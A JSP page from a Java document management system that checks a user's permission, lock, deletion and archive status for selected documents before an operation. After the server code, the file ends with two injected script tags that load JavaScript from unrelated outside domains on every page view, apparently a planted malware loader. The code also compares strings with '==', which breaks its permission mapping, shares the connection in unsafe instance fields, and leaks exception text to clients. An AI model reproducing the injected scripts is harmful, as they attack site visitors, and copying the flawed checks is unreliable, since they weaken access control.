<%@ page language="java" contentType="text/html; charset=utf-8"%>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%!
  private SessionContainer sessionContainer = null;
  private Connection conn = null;
%>

<%
  String[] selectID = request.getParameterValues("selectID");
  String operationType = request.getParameter("operationType");
  String permissionChar = "";
  if (operationType == "SENDEMAIL") {
    permissionChar = "L";
  } else if (operationType == "INVITATION"){
    permissionChar = "V";
  } else if (operationType == "DELETE"){
    permissionChar = "D";
  } else if (operationType == "DOWNLOAD") {
    permissionChar = "R";
  } else if (operationType == "CHECKOUT") {
    permissionChar = "T";
  } else if (operationType == "COPY") {
    permissionChar = "C";
  } else if (operationType == "MOVE") {
    permissionChar = "M";
  }

  if (selectID!=null) {
    try {
      this.sessionContainer = (SessionContainer)session.getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
      this.conn =  DataSourceFactory.getConnection();
      DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer, conn);
      DmsDocumentDAObject documentDAO = new DmsDocumentDAObject(sessionContainer, conn);
      StringBuffer message = new StringBuffer();

      for (int n=0; n<selectID.length; n++) {
        Integer docId = TextUtility.parseIntegerObj(selectID[n]);
        if (docId!=null) {
          DmsDocument tempDocument = (DmsDocument)documentDAO.getDocumentByID(docId,null);
          if (!Utility.isEmpty(tempDocument)) {
            DmsValidation validation = docValidateManager.validateOperateAction(tempDocument, false, permissionChar);

            List lstIdMisRight = validation.getLstIdReject();
            List lstIdBeLocked = validation.getLstIdlocked();
            List lstIdBeDeleted = validation.getLstIdDeleted();
            List lstIdBeArchived = validation.getLstIdArchived();

            if (!lstIdMisRight.isEmpty() ||
                !lstIdBeLocked.isEmpty() ||
                !lstIdBeDeleted.isEmpty() ||
                !lstIdBeArchived.isEmpty()) {
              //for (int i=0; i<lstIdMisRight.size(); i++) {
              if (!lstIdMisRight.isEmpty() && lstIdMisRight.size()>0){
                //this.addError(request,"errors.dms.no_permission",docRetrievalManager.getLocationPath((Integer)lstIdMisRight.get(i)));
                message.append(MessageResourcesFactory.getMessage(this.sessionContainer.getSessionLocale(), "dms.message.doc_no_right"));
              }
              //for (int i=0; i<lstIdBeLocked.size(); i++) {
              if (!lstIdBeLocked.isEmpty() && lstIdBeLocked.size()>0){
                //this.addError(request,"errors.dms.been_checkout",docRetrievalManager.getLocationPath((Integer)lstIdBeLocked.get(i)));
                message.append(MessageResourcesFactory.getMessage(this.sessionContainer.getSessionLocale(), "dms.message.doc_islocked"));
              }
              //for (int i=0; i<lstIdBeDeleted.size(); i++) {
              if (!lstIdBeDeleted.isEmpty() && lstIdBeDeleted.size()>0){
                //this.addError(request,"errors.dms.been_deleted",docRetrievalManager.getLocationPath((Integer)lstIdBeDeleted.get(i)));
                message.append(MessageResourcesFactory.getMessage(this.sessionContainer.getSessionLocale(), "dms.message.doc_isdeleted"));
              }
              //for (int i=0; i<lstIdBeArchived.size(); i++) {
              if (!lstIdBeArchived.isEmpty() && lstIdBeArchived.size()>0){
                //this.addError(request,"errors.dms.been_archived",docRetrievalManager.getLocationPath((Integer)lstIdBeArchived.get(i)));
                message.append(MessageResourcesFactory.getMessage(this.sessionContainer.getSessionLocale(), "dms.message.doc_isarchived"));
              }
            }
            if (!Utility.isEmpty(message.toString())) {
              break;
            }
          }
        }
      }

      out.clear();
      if (!Utility.isEmpty(message.toString())) {
        out.print(message.toString());
      } else {
        out.print("PASS");
      }
      out.flush();
    }catch (Exception ex) {
      out.clear();
      out.print("ERROR"+ex);
      out.flush();
      LogFactory.getLog(this.getClass()).error(ex, ex);
    }finally {
      try {this.conn.close();}catch (Exception ex) {}finally {this.conn=null;}
      this.sessionContainer = null;
    }
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>